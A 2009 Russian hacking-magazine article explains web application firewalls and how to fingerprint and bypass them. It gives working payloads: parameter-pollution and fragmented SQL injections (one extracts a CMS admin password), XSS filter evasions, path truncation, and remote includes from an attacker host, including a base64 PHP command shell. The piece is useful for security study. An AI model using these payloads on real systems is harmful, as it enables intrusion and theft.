Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР 130, ОКТЯБРЬ 2009 г.

Горящие стены защиты. Файрвол для веб-приложений: способы обнаружения и обхода

Raz0r, http://raz0r.name

Когда мы говорим «файрвол», то в большинстве своем подразумеваем инструмент для фильтрации сетевого трафика. Прикрыть порты, порезать трафик по ненужному протоколу, ограничить доступ конкретных приложений в Сеть, будь те на сервере или обычной домашней машине, - все это запросто реализуется обычным брандмауэром. Но знал ли ты, что файрвол существует еще и для веб-приложений и способен обеспечивать дополнительный слой защиты?

Практически в любом веб-приложении есть серьезные баги. За доказательством далеко ходить не нужно: достаточно прочитать свежий баг-трак. Анализируя код и используя сканирования типа черного ящика, когда различные параметры, передаваемые веб-приложения, фаззятся особым образом, хакеры нередко находят ошибки даже в очень серьезных проектах. В итоге, отсутствие проверки передаваемого параметра в одном единственном месте кода может, например, привести к утечке базы с конфиденциальной инфой. Но ведь программисты тоже люди: каждый может сделать ошибку. Заставить всех разработчиков писать абсолютно безопасный код невозможно (хотя и существуют специальные стандартны вроде Microsoft'овского Security Development Lifecycle). Но! Можно попробовать выполнить за них работу над ошибками, внося в схему взаимодействия между пользователем и веб-приложением дополнительное звено - Web Application Firewall (WAF). В этом случае проверка, даже если она не предусмотрена в самом скрипте приложения, обязательно будет осуществляться WAF.

Получается, что Web Application Firewall - это специальный механизм, накладывающий определенный набор правил на то, как между собой взаимодействуют сервер и клиент, обрабатывая HTTP-пакеты. В основе кроется тот же принцип, что и в обычных пользовательских файрволах, - контроль всех данных, которые поступают извне. WAF опирается на набор правил, с помощью которого выявляется факт атаки по сигнатурам – признакам активности пользователя, которые могут означать нападение. Обычно Web Application Firewall применяются для защиты сайтов, которые являются объектами особо пристального внимания хакеров, - крупные компании, банки, онлайн-магазины, социальные сети и др. Но, несмотря на это, WAF может быть использован любым желающим. Предлагается немалое количество решений, распространяющихся по лицензии open source.

Какие бывают WAF?

Само понятие «Web Application Firewall» достаточно широкое. WAF может быть реализован в двух форм-факторах: аппаратном или программном – большую часть, разумеется, представляют последние. Также WAF можно разделить и по принципу действия. Условно выделяют три типа:

  1. Реализованные в виде обратного прокси-сервера;
  2. Работающие в режиме маршрутизации/моста;
  3. Уже встроенные в веб-приложения.

К первым можно отнести такие реализации, как mod_security (modsecurity.org), Barracuda (barracudanetworks.com), nevisProxy (adnovum.ch). Работа этого типа WAF строится по схеме первоначальной обработки данных прокси-сервером, который может блокировать или перенаправить запрос к веб-серверу без изменения или с частичной правкой данных.

Ко второй категории относят в основном аппаратные WAF, например, Impreva SecureSphere (impervaguard.com). Такие решения требуют дополнительной настройки внутренней сети, но зато в конечном итоге вариант выигрывает в производительности.

И, наконец, третий тип подразумевает наличие в веб-приложении дополнительного функционала, реализующего цели WAF. Ярким примером служит встроенный WAF в CMS Битрикс (1c-bitrix.ru).

По специфике действия правил различают WAF, работающие по принципу blacklist (производится сопоставление со списком недопустимых условий) и whitelist (принимаются только разрешенные действия), а также смешанный тип. Например, среди сигнатур для черного списка могут быть строки: «UNION SELECT», «<script>», «/etc/passwd»; белый список может определять диапазон значений для числового параметра (от 0 до 65535).
Правильный WAF не производит фильтрацию входящих данных, так как по большей части это не входит в его компетенцию, однако существует тип WAF, когда вместо простого блокирования файрвол производит корректировку, особым образом обрабатывая данные. В результате это делает их бесполезными для атакующего.

Обнаружение WAF

Установка и настройка каждого из решений – тема для отдельной статьи, но нам сейчас гораздо интереснее посмотреть на WAF с позиции хакера. Как пентестер может обнаружить на сервере WAF и, что еще важнее, обойти те проверки, которые он накладывает? Попробуем разобраться.
Каждый из файрволов, как правило, имеет свои отличительные особенности (они могут быть выявлены с помощью метода распознавания «отпечатков» – fingerprint), впоследствии позволяющие определить, какой именно WAF присутствует на том или ином сайте. Среди подобных особенностей могут быть:

  • назначение специальных параметров Cookie в HTTP-ответе;
  • маскировка сервера с помощью изменения HTTP-заголовков, в частности Server;
  • различные коды ответа при передаче особых данных;
  • незамедлительное завершение соединения при срабатывании недопустимого условия;
  • встроенный набор базовых правил, поддающийся раскрытию.

Например, при попытке проведения простых атак mod_security обнаруживается по коду ошибки 501; WebKnight – по коду 999; Barracuda по cookie-параметру barra_counter_session.

Несомненно, ручное распознавание типа WAF требует много времени и большого опыта. Необходимость в инструменте, который мог бы автоматизировать процесс, привела к созданию таких решений. Среди них можно отметить плагин WAF_fingerprint для фреймворка w3af и утилиту wafw00f. Эти инструменты должны быть в арсенале у каждого пентестера.

Обход WAF

Ничего идеального не существует. Это суждение также справедливо и для WAF. Прежде всего, стойкость файрвола обуславливается его архитектурой и используемой моделью правил. Положительная модель всегда будет иметь преимущество перед отрицательной, так как первая изначально определяет меньшее количество допустимых значений. С другой стороны, разработка правил для whitelist куда более трудоемкое занятие, ведь для веб-приложений необходимо четко установить рамки всех допустимых значений для каждого входящего параметра. К слову, для mod_security есть специальный инструмент под названием Remo, позволяющий через графический интерфейс создавать новые правила для белого списка.

Еще большей проблемой являются сами правила. Вендоры WAF порой не успевают их обновлять или попросту не в курсе новых веяний в сфере веб-безопасности, не говоря уже о неспособности базового набора правил качественно распознавать обычные атаки.

Примером обхода правил конкретного файрвола может служить уязвимость в Profense Web Application Firewall, позволяющая проводить XSS с помощью следующих векторов:

  1. http://example.com/xss.php?var=<script>alert(document.cookie)</script ByPass>
  2. http://example.com/xss.php?var=<script>alert(document.cookie)</script>=%0AByPass

В первом случае (cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1593) производится обход правил, созданных по отрицательной модели: WAF не распознает XSS-атаку, так как в закрывающий тег вставлена строка, отделенная пробелом; в то же время браузер выполнит злонамеренный JS-код, несмотря на неверный формат.

Во втором примере (cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-1594) XSS также проходит проверку, но уже по белому списку, ибо правила пропускают все данные, обрабатывая их регулярным выражением в многострочном режиме, если хотя бы одна строка соответствует допустимым условиям.

К сожалению, рассмотреть уязвимости всех WAF в рамках одной статьи невозможно. Но существуют универсальные способы и техники обхода, которые могут быть применимы в условиях любого WAF.

HTTP Parameter Pollution

Термин (сокращенно – HPP) появился благодаря одноименной работе итальянских специалистов Луки Карретони (Luca Carettoni) и Стефано ди Паолы (Stefano di Paola). Принцип HPP заключается в возможности переопределить или добавить новые HTTP-параметры (POST, GET) с помощью внедрения символов, их разграничивающих, в строку запроса (query string). «Смешивая» параметры, становится возможным обход правил WAF.
Самым ярким примером является уязвимость в IIS+mod_security, позволяющая проводить SQL-инъекции, несмотря на WAF. Баг основан на двух особенностях:

1. IIS склеивает запятой значения всех HTTP-параметров, имеющих одинаковое имя. Например:

POST /index.aspx?a=1&a=2 HTTP/1.0
Host: localhost
Cookie: a=5;a=6
Content-type: text/plain
Content-Length: 7
Connection: close

a=3&a=4

При таком запросе на IIS/ASP.NET значение параметра a (Request.Params["a"]) будет равно 1,2,3,4,5,6.

2. mod_security анализирует запрос после того, как он был обработан веб-сервром, – то есть проверке подвергается каждый параметр независимо друг от друга.

Попытка тривиальной SQL-инъекции, как показано ниже, была бы отвергнута mod_security:http://localhost/index.aspx?id=-1+UNION+SELECT+username,password+FROM+users

Однако HPP позволяет обойти подобное ограничение запросом:

POST /index.aspx?a=-1%20union/*&a=*/select/* HTTP/1.0
Host: localhost
Cookie: a=*/from/*;a=*/users
Content?Length: 21

a=*/name&a=password/*

IIS произведет конкатенацию параметра a, mod_security не обнаружит никаких сигнатур. В конечном счете к базе данных поступит корректный запрос:

SELECT b,c FROM t WHERE a=-1/*,*/UNION/*,*/SELECT/*,*/username,password/*,*/FROM/*,*/users

Фрагментированные SQL-инъекции

Этот вид SQL-инъекций характеризуется наличием в запросе, по крайней мере, двух значений, которые может контролировать атакующий:

mysql_query("SELECT c,d FROM t WHERE a= " . $_GET["a"] . " AND b=" . $_GET["b"]);

Помня, что WAF не пропустит SQLi-вектор в одном параметре, мы можем воспользоваться сразу двумя, чтобы обойти проверку:

/?a=-1+UNION/*&b=*/SELECT 1,version()

Конечный SQL-запрос примет вид:

SELECT c,d FROM t WHERE a=-1 UNION/* AND b=*/SELECT 1,version()

Выше приведен пример идеального варианта фрагментированной SQL-инъекции. В реальных веб-приложениях все несколько сложнее. Во-первых, обычно атакующий может контролировать несколько участков запроса в INSERT или UPDATE, но не в SELECT. Во-вторых, входящие данные обрабатываются функцией addslashes(), и в запросе они обрамлены кавычками. И, наконец, данные могут проходить какие-либо дополнительные проверки встроенным WAF. Однако, несмотря на это, ошибки в реализации могут привести к выполнению произвольного SQL-кода. Примером может послужить уязвимость, которую я нашел в Danneo CMS 0.5.2.

Одной из особенностей этой CMS является наличие в ней функционала, напоминающего встроенный WAF. В частности, имеется черный список, по которому проверяются все входящие параметры; сама же проверка выглядит следующим образом:

foreach($_REQUEST as $params => $inputdata){
foreach($baddata as $badkey => $badvalue){
if(is_string($inputdata) && eregi($badvalue,$inputdata)){ $badcount=1; }
}
}

Как несложно заметить, сравнение входящих данных по черному списку производится с помощью уязвимой к нулл-байту функции eregi(), поэтому для обхода проверки достаточно вставить в начале параметра %00. Даже при включенной директиве PHP magic_quotes_gpc нулл-байт не будет экранироваться, так как присутствует такой код:

if(!ini_get("register_globals") || (@get_cfg_var('register_globals')==1)){
@extract($_COOKIE,EXTR_SKIP);
@extract($_POST,EXTR_SKIP);
@extract($_GET,EXTR_SKIP);
@extract($_REQUEST,EXTR_SKIP);
/* ... */
if(get_magic_quotes_gpc()) {
if($_POST) $_POST = stripslashesall($_POST);
if($_GET) $_GET = stripslashesall($_GET);
if($_REQUEST) $_REQUEST = stripslashesall($_REQUEST);
if($_COOKIE) $_COOKIE = stripslashesall($_COOKIE);
}

Здесь важно отметить, что все данные, полученные напрямую из суперглобальных массивов ($_GET, $_POST, $_COOKIE, $_REQUEST), будут очищены от экранирующих символов, в то время как переменные, ранее введенные в локальное пространство из тех же массивов функцией extract(), останутся как есть. Уже на этом этапе видна несогласованность кода. Сама же SQL-инъекция находится в модуле голосований при добавлении комментариев:

$comtext=($setting['peditor']=="yes") ? commentparse($comtext) : deltags(commentparse($comtext));
$comname = (preparse($usermain['logged'],THIS_INT)==1 && preparse($usermain['userid'],THIS_INT)>0) ? $usermain['uname'] : substr(deltags($comname),0,50);
$comtitle = substr(deltags($comtitle),0,255);
$in = $db->query("INSERT INTO ".$basepref."_polling_comment VALUES
(NULL,'".$id."','".$usermain['userid']."','".NEWTIME."',
'$comname','$comtitle','$comtext','".REMOTE_ADDRS."')");

Уязвимость возникает после того, как значение переменной comtitle обрезается функцией substr() до 255 символов. Ошибка разработчиков состоит в том, что данные сперва экранируются и только потом приводятся к требуемой длине, хотя должно быть наоборот. Это дает возможность проведения фрагментированной SQL-инъекции, несмотря на экранирование входящих данных при magic_quotes_gpc=on.

Для проведения успешной атаки необходимы следующие значения параметров:

  • comname - a-z значение от 5 символов до 10;
  • comtitle - 254 символа + кавычка;
  • comtext - /*%00*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -

Последним символом в значении переменной comtitle будет обратный слэш, который экранирует следующую за ним кавычку, что позволит выполнить код в переменной comtext. В итоге, получится SQL-запрос:

INSERT INTO dn052_polling_comment VALUES
(NULL,'1','0','1230987393',
'antichat','a[252x]b\','/*\0*/, (SELECT adpwd FROM dn052_admin LIMIT 1), 1)-- -','127.0.0.1')

При просмотре страницы с комментариями в поле текста сообщения будет отображен пароль администратора.

Слепые SQL-инъекции

При проведении слепых SQL-инъекций грамотный WAF – серьезное препятствие. Однако получить информацию из базы данных все же возможно при использовании альтернативных имен операторов и конструкций синтаксиса. Например, для MySQL применимы такие варианты:

----------------------------------------------------------
SUBSTRING (pass,1,1)| - MID(pass FROM 1 FOR 1)
| - LEFT(RIGHT(pass,32),1); LEFT(RIGHT(pass,31),1), etc
----------------------------------------------------------
ASCII ()| - ORD()
| - CONV()
| - SELECT MID(pass,1,1)&2; SELECT MID(pass,1,1)&4, etc
----------------------------------------------------------
BENCHMARK()| - SLEEP()
----------------------------------------------------------
MID(pass,1,1)>97| - SELECT MID(pass,1,1) BETWEEN 97 AND 122
----------------------------------------------------------
<> NULL| - IS NOT NULL
----------------------------------------------------------
=| - STRCMP()
----------------------------------------------------------

В ситуациях, когда производится фильтрация по наличию того или иного символа в параметре, также есть свои альтернативы в зависимости от RDBS:

----------------------------------------------------------
Фильтруется пробел в MySQL| (-1)UNION(SELECT(pass)FROM(users)WHERE(1=1))
----------------------------------------------------------
Фильтруются кавычки в PostgreSQL (>8.0) | UNION SELECT COLUMN_NAME FROM information_schema.COLUMNS WHERE TABLE_NAME=$$users$$
----------------------------------------------------------
Фильтруются кавычки в MSSQL| ;master..xp_cmdshell [dir]--
----------------------------------------------------------

XSS

Cross site scripting является, пожалуй, самым обширным полем для новых идей по обходу WAF. Это обуславливается необычайной гибкостью языка JavaScript и адаптивностью браузеров к некорректному формату HTML.

На прошедшей в августе конференции BlackHat была представлена работа по проведению XSS в условиях WAF. В презентации упомянуто большое количество трюков, позволяющих обмануть фильтры. Среди них:

<object data="javascript:alert(0)">
<isindex action=javascript:alert(1) type=image>
<img src=x:alert(alt) onerror=eval(src) alt=0>
<x:script xmlns:x="http://www.w3.org/1999/xhtml">alert('xss');</x:script>

Самым интересным вектором оказался:

($=[$=[]][(__=!$+$)[_=-~-~-~$]+({}+$)[_/_]+($$=($_=!''+$)[_/_]+$_[+$])])()[__[_/_]+__[_+~$]+$_[_]+$$](_/_)

Выглядит устрашающе, не правда ли? На самом деле, код эквивалентен alert(1); подробный его разбор доступен здесь - http://oxod.ru/?p=290.
Еще одна работа, которую стоит отметить – это статья о внедрении JS-кода в HTTP-заголовки refresh и location (http://websecurity.com.ua/3386). Следующий вектор из этой статьи может служить еще одним способом обхода WAF:

/?param=data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==

alert(1), представленный в base64, выполнится в Opera, Safari и Chrome, если значение параметра попадет в атрибут URL заголовка refresh:

...
Refresh 0; URL = data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==
...

Перечислять все возможные способы обхода WAF для проведения XSS можно очень долго, поэтому лучше поделюсь ссылками на сайты, где собственно и рождаются новые векторы:

- http://ha.ckers.org/xss.html – многим знакомый XSS Cheat Sheet; много старья, но автор RSnake обещал в скором времени обновить список;
- http://sla.ckers.org/forum/list.php?24 – исключительно новые векторы от пользователей одного из самых лучших форумов по веб-безопасности;
- http://maliciousmarkup.blogspot.com/ – блог по теме нестандартных способов выполнения JS-кода; жаль, почти не обновляется.

Path Traversal/LFI/RFI

Почти все векторы из этой категории атак связаны с нулл-байтом, который распознают практически все WAF. Но и здесь появился новый способ, позволяющий отбросить расширение файла без использования ядовитого байта. Этот метод был обнаружен одним из пользователей форума sla.ckers.org и получил развитие в работах итальянской команды USH.

Суть заключается в многократном повторении символа «/» после имени файла. Реализация атаки во многом зависит от платформы, наличия Suhosin patch и других обстоятельств. Допустим, есть уязвимый код:

<?php
include("includes/" . $_GET["inc"]. ".php");
?>

WAF не пропустит %00 в параметре inc, однако с новым способом возможен инклуд произвольных файлов:

/?inc=../.htpasswd////...4096...///

Более подробно о таких атаках читай в моем блоге: raz0r.name/articles/null-byte-alternative.

Что касается Remote File Include (RFI), то атаки следующего вида давно стали легкой добычей WAF:

/?inc=http://attacker/s.txt?

С проблемой легко справляются следующие возможности PHP:

Доступ по FTP:

/?inc=ftp://attacker/s.txt

Причем функция file_exists() вернет true.

Доступ к необработанным POST-данным (только при allow_url_include=on):

POST /?inc=php://input HTTP/1.0
Host: localhost
Content-type: text/plain
Content-Length: 10
Connection: close

phpinfo();

Использование враппера data (allow_url_include=on):

/?inc=data:;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=dir

А также compress.zlib://, php://filter, ogg:// и др.

Заключение

Развитие Web Application Firewall не стоит на месте. Вместе с тем появляются все новые методы обхода различных ограничений. Будь то простенький фильтр на PHP или же могучий WAF – при детальном рассмотрении и упорном анализе убеждаешься, что ничто не лишено слабых мест. Когда эксплуатирование уязвимости, обнаруженной в каком-либо веб-приложении, становится затруднительным в виду, казалось бы, непреступной защиты WAF, никогда не стоит бросать начатое дело. Нужно лишь вникнуть в тонкости работы системы, и тогда верный путь станет очевидным.

DVD

Все материалы выступлений, инструменты, упомянутые в статье, а также подборка бесплатных WAF доступны на диске.

VIDEO

Демонстрацию уязвимости в Danneo CMS смотри на DVD.

WWW

INFO

Австрийская команда h4ck1nb3rg провела достаточно интересное исследованиепо оценке возможностей защиты текущего поколения Web Application Firewall. Подробный материал с методиками и результатами тестирования ты сможешь найти на – http://www.h4ck1nb3rg.at/wafs/final_project_documentation_v1.1.pdf.

Содержание
загрузка...
Журнал Хакер #151Журнал Хакер #150Журнал Хакер #149Журнал Хакер #148Журнал Хакер #147Журнал Хакер #146Журнал Хакер #145Журнал Хакер #144Журнал Хакер #143Журнал Хакер #142Журнал Хакер #141Журнал Хакер #140Журнал Хакер #139Журнал Хакер #138Журнал Хакер #137Журнал Хакер #136Журнал Хакер #135Журнал Хакер #134Журнал Хакер #133Журнал Хакер #132Журнал Хакер #131Журнал Хакер #130Журнал Хакер #129Журнал Хакер #128Журнал Хакер #127Журнал Хакер #126Журнал Хакер #125Журнал Хакер #124Журнал Хакер #123Журнал Хакер #122Журнал Хакер #121Журнал Хакер #120Журнал Хакер #119Журнал Хакер #118Журнал Хакер #117Журнал Хакер #116Журнал Хакер #115Журнал Хакер #114Журнал Хакер #113Журнал Хакер #112Журнал Хакер #111Журнал Хакер #110Журнал Хакер #109Журнал Хакер #108Журнал Хакер #107Журнал Хакер #106Журнал Хакер #105Журнал Хакер #104Журнал Хакер #103Журнал Хакер #102Журнал Хакер #101Журнал Хакер #100Журнал Хакер #099Журнал Хакер #098Журнал Хакер #097Журнал Хакер #096Журнал Хакер #095Журнал Хакер #094Журнал Хакер #093Журнал Хакер #092Журнал Хакер #091Журнал Хакер #090Журнал Хакер #089Журнал Хакер #088Журнал Хакер #087Журнал Хакер #086Журнал Хакер #085Журнал Хакер #084Журнал Хакер #083Журнал Хакер #082Журнал Хакер #081Журнал Хакер #080Журнал Хакер #079Журнал Хакер #078Журнал Хакер #077Журнал Хакер #076Журнал Хакер #075Журнал Хакер #074Журнал Хакер #073Журнал Хакер #072Журнал Хакер #071Журнал Хакер #070Журнал Хакер #069Журнал Хакер #068Журнал Хакер #067Журнал Хакер #066Журнал Хакер #065Журнал Хакер #064Журнал Хакер #063Журнал Хакер #062Журнал Хакер #061Журнал Хакер #060Журнал Хакер #059Журнал Хакер #058Журнал Хакер #057Журнал Хакер #056Журнал Хакер #055Журнал Хакер #054Журнал Хакер #053Журнал Хакер #052Журнал Хакер #051Журнал Хакер #050Журнал Хакер #049Журнал Хакер #048Журнал Хакер #047Журнал Хакер #046Журнал Хакер #045Журнал Хакер #044Журнал Хакер #043Журнал Хакер #042Журнал Хакер #041Журнал Хакер #040Журнал Хакер #039Журнал Хакер #038Журнал Хакер #037Журнал Хакер #036Журнал Хакер #035Журнал Хакер #034Журнал Хакер #033Журнал Хакер #032Журнал Хакер #031Журнал Хакер #030Журнал Хакер #029Журнал Хакер #028Журнал Хакер #027Журнал Хакер #026Журнал Хакер #025Журнал Хакер #024Журнал Хакер #023Журнал Хакер #022Журнал Хакер #021Журнал Хакер #020Журнал Хакер #019Журнал Хакер #018Журнал Хакер #017Журнал Хакер #016Журнал Хакер #015Журнал Хакер #014Журнал Хакер #013Журнал Хакер #012Журнал Хакер #011Журнал Хакер #010Журнал Хакер #009Журнал Хакер #008Журнал Хакер #007Журнал Хакер #006Журнал Хакер #005Журнал Хакер #004Журнал Хакер #003Журнал Хакер #002Журнал Хакер #001